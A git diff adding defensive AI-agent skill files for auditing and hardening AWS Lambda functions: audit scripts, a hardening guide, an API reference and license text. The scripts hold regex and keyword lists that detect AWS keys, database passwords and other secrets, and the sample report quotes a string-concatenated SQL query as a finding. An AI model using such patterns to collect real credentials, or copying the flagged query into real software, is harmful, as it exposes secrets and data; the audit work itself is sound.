re.compile(r"(?i)(aws.?access|aws.?secret)"), + re.compile(r"(?i)(database.?url|connection.?string|db.?pass)"), + re.compile(r"AKIA[0-9A-Z]{16}"), +] + + +def check_env_secrets(env_vars): + findings = [] + if not env_vars: + return findings + for key, value in env_vars.items(): + for pattern in SENSITIVE_PATTERNS: + if pattern.search(key) or pattern.search(str(value)): + masked = value[:4] + "****" + value[-4:] if len(value) > 8 else "****" + findings.append(f"SENSITIVE: {key} = {masked}") + break + return findings + + +def check_public_access(client, function_name): + findings = [] + try: + policy = client.get_policy(FunctionName=function_name) + doc = json.loads(policy["Policy"]) + for stmt in doc.get("Statement", []): + principal = stmt.get("Principal", {}) + if principal == "*" or principal == {"AWS": "*"}: + findings.append( + f"PUBLIC ACCESS: {function_name} allows public invocation " + f"(statement: {stmt.get('Sid', 'unnamed')})" + ) + except ClientError: + pass + try: + urls = client.list_function_url_configs(FunctionName=function_name) + for url_cfg in urls.get("FunctionUrlConfigs", []): + if url_cfg.get("AuthType") == "NONE": + findings.append( + f"UNAUTHENTICATED URL: {function_name} -> {url_cfg['FunctionUrl']}" + ) + except ClientError: + pass + return findings + + +def run_review(region="us-east-1"): + lam = get_lambda_client(region) + iam = get_iam_client(region) + functions = list_all_functions(lam) + report = { + "total_functions": len(functions), + "deprecated_runtimes": [], + "role_findings": [], + "secret_findings": [], + "public_access_findings": [], + } + for func in functions: + name = func["FunctionName"] + runtime = func.get("Runtime", "unknown") + if check_deprecated_runtime(runtime): + report["deprecated_runtimes"].append({"function": name, "runtime": runtime}) + report["role_findings"].extend(audit_execution_role(iam, func["Role"])) + env = func.get("Environment", {}).get("Variables", {}) + secrets = check_env_secrets(env) + if secrets: + report["secret_findings"].extend( + [{"function": name, "finding": s} for s in secrets] + ) + report["public_access_findings"].extend(check_public_access(lam, name)) + return report + + +def print_report(report): + print("Serverless Function Security Review") + print("=" * 40) + print(f"Functions Reviewed: {report['total_functions']}") + for section, label in [ + ("deprecated_runtimes", "Deprecated Runtimes"), + ("role_findings", "Role Issues"), + ("secret_findings", "Secrets in Env Vars"), + ("public_access_findings", "Public Access"), + ]: + items = report[section] + print(f"\n{label}: {len(items)} finding(s)") + for item in items: + print(f" - {item}") + + +if __name__ == "__main__": + result = run_review() + print_report(result) diff --git a/.claude/skills/securing-serverless-functions/LICENSE b/.claude/skills/securing-serverless-functions/LICENSE new file mode 100644 index 0000000..d885118 --- /dev/null +++ b/.claude/skills/securing-serverless-functions/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/.claude/skills/securing-serverless-functions/SKILL.md b/.claude/skills/securing-serverless-functions/SKILL.md new file mode 100644 index 0000000..2ffadbd --- /dev/null +++ b/.claude/skills/securing-serverless-functions/SKILL.md @@ -0,0 +1,329 @@ +--- +name: securing-serverless-functions +description: 'Hardens serverless compute platforms (AWS Lambda, Azure Functions, Google + Cloud Functions): least-privilege IAM roles, dependency vulnerability scanning, + secrets management integration, input validation, function URL authentication, and + runtime monitoring. Use when deploying serverless functions with sensitive access, + auditing for overly permissive roles, or adding functions to a DevSecOps pipeline. + + ' +domain: cybersecurity +subdomain: cloud-security +tags: +- serverless-security +- aws-lambda +- azure-functions +- function-hardening +- supply-chain +version: 1.0.0 +author: mahipal +license: Apache-2.0 +nist_csf: +- PR.IR-01 +- ID.AM-08 +- GV.SC-06 +- DE.CM-01 +mitre_attack: +- T1078.004 +- T1530 +- T1537 +- T1580 +- T1003 +--- + +# Securing Serverless Functions + +## When to Use + +- When deploying Lambda functions or Azure Functions with access to sensitive data or cloud APIs +- When auditing existing serverless workloads for overly permissive IAM roles +- When integrating serverless functions into a DevSecOps pipeline with automated security scanning +- When hardcoded secrets or vulnerable dependencies are discovered in function code +- When establishing runtime monitoring for serverless workloads to detect injection or credential theft + +**Do not use** for container-based compute security (see securing-kubernetes-on-cloud), for API Gateway configuration (see implementing-cloud-waf-rules), or for serverless architecture design decisions. + +## Prerequisites + +- AWS Lambda, Azure Functions, or GCP Cloud Functions with deployment access +- CI/CD pipeline with dependency scanning tools (npm audit, Snyk, Dependabot) +- AWS Secrets Manager, Azure Key Vault, or HashiCorp Vault for secrets management +- CloudWatch, Application Insights, or Cloud Logging for function monitoring + +## Workflow + +### Step 1: Enforce Least Privilege IAM Roles + +Assign each Lambda function a dedicated IAM role with permissions scoped to only the specific resources it accesses. Never share IAM roles across functions. + +```bash +# Create a least-privilege role for a specific Lambda function +aws iam create-role \ + --role-name order-processor-lambda-role \ + --assume-role-policy-document '{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Principal": {"Service": "lambda.amazonaws.com"}, + "Action": "sts:AssumeRole" + }] + }' + +# Attach a scoped policy (not AmazonDynamoDBFullAccess) +aws iam put-role-policy \ + --role-name order-processor-lambda-role \ + --policy-name order-processor-policy \ + --policy-document '{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": ["dynamodb:PutItem", "dynamodb:GetItem"], + "Resource": "arn:aws:dynamodb:us-east-1:123456789012:table/Orders" + }, + { + "Effect": "Allow", + "Action": ["logs:CreateLogGroup", "logs:CreateLogStream", "logs:PutLogEvents"], + "Resource": "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/order-processor:*" + }, + { + "Effect": "Allow", + "Action": ["secretsmanager:GetSecretValue"], + "Resource": "arn:aws:secretsmanager:us-east-1:123456789012:secret:order-api-key-*" + } + ] + }' +``` + +### Step 2: Eliminate Hardcoded Secrets + +Replace plaintext credentials in environment variables with references to secrets management services. Use Lambda extensions or SDK calls to retrieve secrets at runtime. + +```python +# INSECURE: Hardcoded credentials in environment variable +# DB_PASSWORD = os.environ['DB_PASSWORD'] # Stored as plaintext in Lambda config + +# SECURE: Retrieve from AWS Secrets Manager with caching +import boto3 +from botocore.exceptions import ClientError +import json + +_secret_cache = {} + +def get_secret(secret_name): + if secret_name in _secret_cache: + return _secret_cache[secret_name] + + client = boto3.client('secretsmanager') + response = client.get_secret_value(SecretId=secret_name) + secret = json.loads(response['SecretString']) + _secret_cache[secret_name] = secret + return secret + +def lambda_handler(event, context): + db_creds = get_secret('production/database/credentials') + db_host = db_creds['host'] + db_password = db_creds['password'] + # Use credentials securely +``` + +```bash +# Enable encryption at rest for Lambda environment variables +aws lambda update-function-configuration \ + --function-name order-processor \ + --kms-key-arn arn:aws:kms:us-east-1:123456789012:key/key-id +``` + +### Step 3: Scan Dependencies for Vulnerabilities + +Integrate automated dependency scanning into the CI/CD pipeline to catch vulnerable packages before deployment. + +```bash +# npm audit for Node.js Lambda functions +cd lambda-function/ +npm audit --audit-level=high +npm audit fix + +# Snyk scanning in CI/CD pipeline +snyk test --severity-threshold=high +snyk monitor --project-name=order-processor-lambda + +# pip-audit for Python Lambda functions +pip-audit -r requirements.txt --desc on --fix + +# Scan Lambda deployment package with Trivy +trivy fs --severity HIGH,CRITICAL ./lambda-package/ +``` + +```yaml +# GitHub Actions CI/CD security scanning +name: Lambda Security Scan +on: [push, pull_request] +jobs: + security: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install dependencies + run: npm ci + - name: Run npm audit + run: npm audit --audit-level=high + - name: Snyk vulnerability scan + uses: snyk/actions/node@master + env: + SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }} + - name: Scan with Semgrep for code vulnerabilities + uses: returntocorp/semgrep-action@v1 + with: + config: p/owasp-top-ten +``` + +### Step 4: Implement Input Validation + +Validate and sanitize all event input data to prevent injection attacks including SQL injection, command injection, and NoSQL injection through Lambda event sources. + +```python +import re +import json +from jsonschema import validate, ValidationError + +# Define expected input schema +ORDER_SCHEMA = { + "type": "object", + "properties": { + "orderId": {"type": "string", "pattern": "^[a-zA-Z0-9-]{1,36}$"}, + "customerId": {"type": "string", "pattern": "^[a-zA-Z0-9]{1,20}$"}, + "amount": {"type": "number", "minimum": 0.01, "maximum": 999999.99}, + "currency": {"type": "string", "enum": ["USD", "EUR", "GBP"]} + }, + "required": ["orderId", "customerId", "amount", "currency"], + "additionalProperties": False +} + +def lambda_handler(event, context): + # Validate API Gateway event body + try: + body = json.loads(event.get('body', '{}')) + validate(instance=body, schema=ORDER_SCHEMA) + except (json.JSONDecodeError, ValidationError) as e: + return { + 'statusCode': 400, + 'body': json.dumps({'error': 'Invalid input', 'details': str(e)}) + } + + # Safe to proceed with validated input + order_id = body['orderId'] + # Use parameterized queries for database operations +``` + +### Step 5: Configure Function URL and API Gateway Authentication + +Secure function invocation endpoints with proper authentication. Never expose Lambda function URLs without IAM or Cognito authentication. + +```bash +# Secure Lambda function URL with IAM auth (not NONE) +aws lambda create-function-url-config \ + --function-name order-processor \ + --auth-type AWS_IAM \ + --cors '{ + "AllowOrigins": ["https://app.company.com"], + "AllowMethods": ["POST"], + "AllowHeaders": ["Content-Type", "Authorization"], + "MaxAge": 3600 + }' + +# API Gateway with Cognito authorizer +aws apigateway create-authorizer \ + --rest-api-id abc123 \ + --name CognitoAuth \ + --type COGNITO_USER_POOLS \ + --provider-arns "arn:aws:cognito-idp:us-east-1:123456789012:userpool/us-east-1_EXAMPLE" +``` + +### Step 6: Enable Runtime Monitoring and Logging + +Configure GuardDuty Lambda Network Activity Monitoring and CloudWatch structured logging to detect anomalous function behavior. + +```bash +# Enable GuardDuty Lambda protection +aws guardduty update-detector \ + --detector-id \ + --features '[{"Name": "LAMBDA_NETWORK_ACTIVITY_LOGS", "Status": "ENABLED"}]' + +# Configure Lambda to use structured logging +aws lambda update-function-configuration \ + --function-name order-processor \ + --logging-config '{"LogFormat": "JSON", "ApplicationLogLevel": "INFO", "SystemLogLevel": "WARN"}' +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| Cold Start | Initial function invocation that includes container provisioning, increasing latency and creating a window where cached secrets may not be available | +| Event Injection | Attack where malicious input is embedded in Lambda event data from API Gateway, S3, SQS, or other event sources to exploit the function | +| Execution Role | IAM role assumed by Lambda during execution, defining all cloud API permissions the function can use | +| Function URL | Direct HTTPS endpoint for Lambda functions that can be configured with IAM or no authentication (NONE is insecure) | +| Layer | Lambda deployment package containing shared code or dependencies that should be scanned for vulnerabilities independently | +| Reserved Concurrency | Maximum number of concurrent executions for a function, useful for preventing resource exhaustion attacks | +| Provisioned Concurrency | Pre-initialized function instances that reduce cold start latency and ensure secrets are cached | + +## Tools & Systems + +- **AWS Lambda Power Tuning**: Open-source tool for optimizing Lambda memory and timeout settings to balance security with performance +- **Snyk**: SCA tool scanning Lambda dependencies for known vulnerabilities with automatic fix suggestions +- **Semgrep**: SAST tool with serverless-specific rules detecting injection vulnerabilities, hardcoded secrets, and insecure configurations +- **GuardDuty Lambda Protection**: AWS service monitoring Lambda network activity for connections to malicious endpoints +- **AWS X-Ray**: Distributed tracing service for detecting suspicious external connections and latency anomalies in Lambda invocations + +## Common Scenarios + +### Scenario: SQL Injection via API Gateway to Lambda to RDS + +**Context**: A Lambda function receives user input from API Gateway and constructs SQL queries by string concatenation against an RDS PostgreSQL database. An attacker injects SQL payloads through the API. + +**Approach**: +1. Audit the Lambda function code for string concatenation in SQL queries +2. Replace all string-formatted queries with parameterized queries using the database driver +3. Implement input validation using JSON Schema before any database operation +4. Add a WAF rule on API Gateway to block common SQL injection patterns +5. Deploy Semgrep in the CI/CD pipeline with the `python.django.security.injection.sql` rule set +6. Enable GuardDuty Lambda protection to detect anomalous database connection patterns + +**Pitfalls**: Relying solely on WAF rules without fixing the underlying code vulnerability allows attackers to bypass with encoding tricks. Using ORM methods incorrectly (raw queries) still allows injection. + +## Output Format + +``` +Serverless Security Assessment Report +======================================= +Account: 123456789012 +Functions Assessed: 47 +Assessment Date: 2025-02-23 + +CRITICAL FINDINGS: + [SLS-001] order-processor: SQL injection via string concatenation + Language: Python 3.12 | Runtime: Lambda + Vulnerable Code: f"SELECT * FROM orders WHERE id = '{order_id}'" + Remediation: Use parameterized queries with psycopg2 + + [SLS-002] payment-handler: Hardcoded Stripe API key in environment variable + Key: sk_live_XXXX... (unencrypted) + Remediation: Migrate to AWS Secrets Manager with KMS encryption + +HIGH FINDINGS: + [SLS-003] 12 functions share the same IAM execution role with s3:* + [SLS-004] 8 functions have function URLs with AuthType: NONE + [SLS-005] 23 functions have dependencies with known HIGH CVEs + +DEPENDENCY VULNERABILITIES: + axios@0.21.1: CVE-2023-45857 (HIGH) - 5 functions affected + jsonwebtoken@8.5.1: CVE-2022-23529 (CRITICAL) - 3 functions affected + lodash@4.17.15: CVE-2021-23337 (HIGH) - 11 functions affected + +SUMMARY: + Critical: 2 | High: 5 | Medium: 12 | Low: 8 + Functions with Least Privilege: 14/47 (30%) + Functions with Secrets Manager: 19/47 (40%) + Functions with Input Validation: 22/47 (47%) +``` diff --git a/.claude/skills/securing-serverless-functions/references/api-reference.md b/.claude/skills/securing-serverless-functions/references/api-reference.md new file mode 100644 index 0000000..44457b4 --- /dev/null +++ b/.claude/skills/securing-serverless-functions/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: Securing Serverless Functions + +## boto3 Lambda Client + +### Installation +```bash +pip install boto3 +``` + +### Key Methods +| Method | Description | +|--------|-------------| +| `list_functions()` | List all functions with configuration details | +| `get_function_configuration()` | Get function config (role, env vars, KMS) | +| `get_function_url_config()` | Get function URL and auth type | +| `get_function_concurrency()` | Get reserved concurrency settings | +| `update_function_configuration()` | Update KMS key, logging, VPC config | +| `create_function_url_config()` | Create function URL with auth type | + +### Function Configuration Fields +| Field | Security Relevance | +|-------|-------------------| +| `Role` | Execution role ARN (check for least privilege) | +| `Environment.Variables` | May contain hardcoded secrets | +| `KMSKeyArn` | Customer-managed KMS key for env encryption | +| `VpcConfig` | VPC subnet and security group configuration | +| `Timeout` | Max execution time (1-900 seconds) | +| `Runtime` | Language runtime (check for EOL versions) | +| `Layers` | Shared code layers (scan independently) | + +### Function URL Auth Types +| Value | Description | +|-------|-------------| +| `AWS_IAM` | Requires IAM authentication (secure) | +| `NONE` | No authentication required (insecure for sensitive functions) | + +## boto3 IAM Client (Role Checks) +| Method | Description | +|--------|-------------| +| `list_attached_role_policies()` | Check for overly broad managed policies | +| `get_role_policy()` | Inspect inline policy for wildcards | +| `get_role()` | Check trust policy and permission boundary | + +## GuardDuty Lambda Protection +```python +gd = boto3.client("guardduty") +gd.update_detector( + DetectorId="", + Features=[{"Name": "LAMBDA_NETWORK_ACTIVITY_LOGS", "Status": "ENABLED"}] +) +``` + +## References +- Lambda security best practices: https://docs.aws.amazon.com/lambda/latest/dg/lambda-security.html +- Lambda function URLs: https://docs.aws.amazon.com/lambda/latest/dg/lambda-urls.html +- GuardDuty Lambda protection: https://docs.aws.amazon.com/guardduty/latest/ug/lambda-protection.html diff --git a/.claude/skills/securing-serverless-functions/scripts/agent.py b/.claude/skills/securing-serverless-functions/scripts/agent.py new file mode 100644 index 0000000..7826a0b --- /dev/null +++ b/.claude/skills/securing-serverless-functions/scripts/agent.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python3 +"""Agent for auditing serverless function security across AWS Lambda.""" + +import boto3 +import json +import argparse +from datetime import datetime + + +def list_functions(region="us-east-1"): + """List all Lambda functions with security-relevant configuration.""" + lam = boto3.client("lambda", region_name=region) + functions = [] + paginator = lam.get_paginator("list_functions") + for page in paginator.paginate(): + for f in page["Functions"]: + functions.append({ + "name": f["FunctionName"], + "runtime": f.get("Runtime", "N/A"), + "role": f["Role"].split("/")[-1], + "timeout": f.get("Timeout", 3), + "memory": f.get("MemorySize", 128), + "kms_key": f.get("KMSKeyArn", "None (default)"), + "vpc": bool(f.get("VpcConfig", {}).get("SubnetIds")), + }) + print(f"[*] Found {len(functions)} Lambda functions") + for fn in functions: + print(f" {fn['name']} | {fn['runtime']} | role={fn['role']} | VPC={fn['vpc']}") + return functions + + +def check_function_urls(region="us-east-1"): + """Check for Lambda function URLs with insecure authentication.""" + lam = boto3.client("lambda", region_name=region) + findings = [] + paginator = lam.get_paginator("list_functions") + for page in paginator.paginate(): + for f in page["Functions"]: + try: + url_config = lam.get_function_url_config(FunctionName=f["FunctionName"]) + auth_type = url_config.get("AuthType", "NONE") + if auth_type == "NONE": + findings.append({ + "function": f["FunctionName"], + "url": url_config.get("FunctionUrl", ""), + "auth_type": auth_type, + "severity": "CRITICAL", + }) + print(f" [!] CRITICAL: {f['FunctionName']} has unauthenticated URL: " + f"{url_config.get('FunctionUrl', '')}") + else: + print(f" [+] {f['FunctionName']}: URL auth={auth_type}") + except lam.exceptions.ResourceNotFoundException: + continue + print(f"[*] {len(findings)} functions with unauthenticated URLs") + return findings + + +def check_env_variables(region="us-east-1"): + """Scan Lambda environment variables for potential hardcoded secrets.""" + lam = boto3.client("lambda", region_name=region) + findings = [] + secret_patterns = ["password", "secret", "api_key", "apikey", "token", "private_key", + "access_key", "db_pass", "database_url", "smtp"] + paginator = lam.get_paginator("list_functions") + for page in paginator.paginate(): + for f in page["Functions"]: + env_vars = f.get("Environment", {}).get("Variables", {}) + kms_key = f.get("KMSKeyArn") + for key, value in env_vars.items(): + key_lower = key.lower() + if any(p in key_lower for p in secret_patterns): + has_kms = bool(kms_key) + findings.append({ + "function": f["FunctionName"], + "variable": key, + "encrypted": has_kms, + "severity": "HIGH" if not has_kms else "MEDIUM", + }) + enc_status = "KMS-encrypted" if has_kms else "PLAINTEXT" + print(f" [!] {f['FunctionName']}: {key} ({enc_status})") + print(f"[*] {len(findings)} potential secrets in environment variables") + return findings + + +def check_shared_roles(region="us-east-1"): + """Identify Lambda functions sharing the same execution role.""" + lam = boto3.client("lambda", region_name=region) + role_map = {} + paginator = lam.get_paginator("list_functions") + for page in paginator.paginate(): + for f in page["Functions"]: + role = f["Role"] + role_name = role.split("/")[-1] + if role_name not in role_map: + role_map[role_name] = [] + role_map[role_name].append(f["FunctionName"]) + findings = [] + print("\n[*] Checking for shared execution roles...") + for role, funcs in role_map.items(): + if len(funcs) > 1: + findings.append({"role": role, "functions": funcs, "count": len(funcs)}) + print(f" [!] Role '{role}' shared by {len(funcs)} functions: {', '.join(funcs[:5])}") + print(f"[*] {len(findings)} shared roles found") + return findings + + +def check_reserved_concurrency(region="us-east-1"): + """Check if functions have reserved concurrency set to prevent resource exhaustion.""" + lam = boto3.client("lambda", region_name=region) + no_concurrency = [] + paginator = lam.get_paginator("list_functions") + for page in paginator.paginate(): + for f in page["Functions"]: + try: + conc = lam.get_function_concurrency(FunctionName=f["FunctionName"]) + reserved = conc.get("ReservedConcurrentExecutions") + if reserved is None: + no_concurrency.append(f["FunctionName"]) + except Exception: + no_concurrency.append(f["FunctionName"]) + if no_concurrency: + print(f"\n[*] {len(no_concurrency)} functions without reserved concurrency") + return no_concurrency + + +def full_audit(region="us-east-1", output_path="serverless_audit.json"): + """Run comprehensive serverless security audit.""" + print("[*] Starting serverless security audit...\n") + report = { + "audit_date": datetime.now().isoformat(), + "region": region, + "functions": list_functions(region), + "unauthenticated_urls": check_function_urls(region), + "env_secrets": check_env_variables(region), + "shared_roles": check_shared_roles(region), + "no_concurrency_limit": check_reserved_concurrency(region), + } + total_findings = (len(report["unauthenticated_urls"]) + len(report["env_secrets"]) + + len(report["shared_roles"])) + report["total_findings"] = total_findings + with open(output_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[*] Audit complete: {total_findings} findings") + print(f"[*] Report saved to {output_path}") + + +def main(): + parser = argparse.ArgumentParser(description="Serverless Function Security Agent") + parser.add_argument("action", choices=["list", "urls", "env-secrets", "shared-roles", + "concurrency", "full-audit"]) + parser.add_argument("--region", default="us-east-1") + parser.add_argument("-o", "--output", default="serverless_audit.json") + args = parser.parse_args() + + if args.action == "list": + list_functions(args.region) + elif args.action == "urls": + check_function_urls(args.region) + elif args.action == "env-secrets": + check_env_variables(args.region) + elif args.action == "shared-roles": + check_shared_roles(args.region) + elif args.action == "concurrency": + check_reserved_concurrency(args.region) + elif args.action == "full-audit": + full_audit(args.region, args.output) + + +if __name__ == "__main__": + main() diff --git a/.claude/skills/testing-api-for-broken-object-level-authorization/LICENSE b/.claude/skills/testing-api-for-broken-object-level-authorization/LICENSE new file mode 100644 index 0000000..d885118 --- /dev/null +++ b/.claude/skills/testing-api-for-broken-object-level-authorization/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work 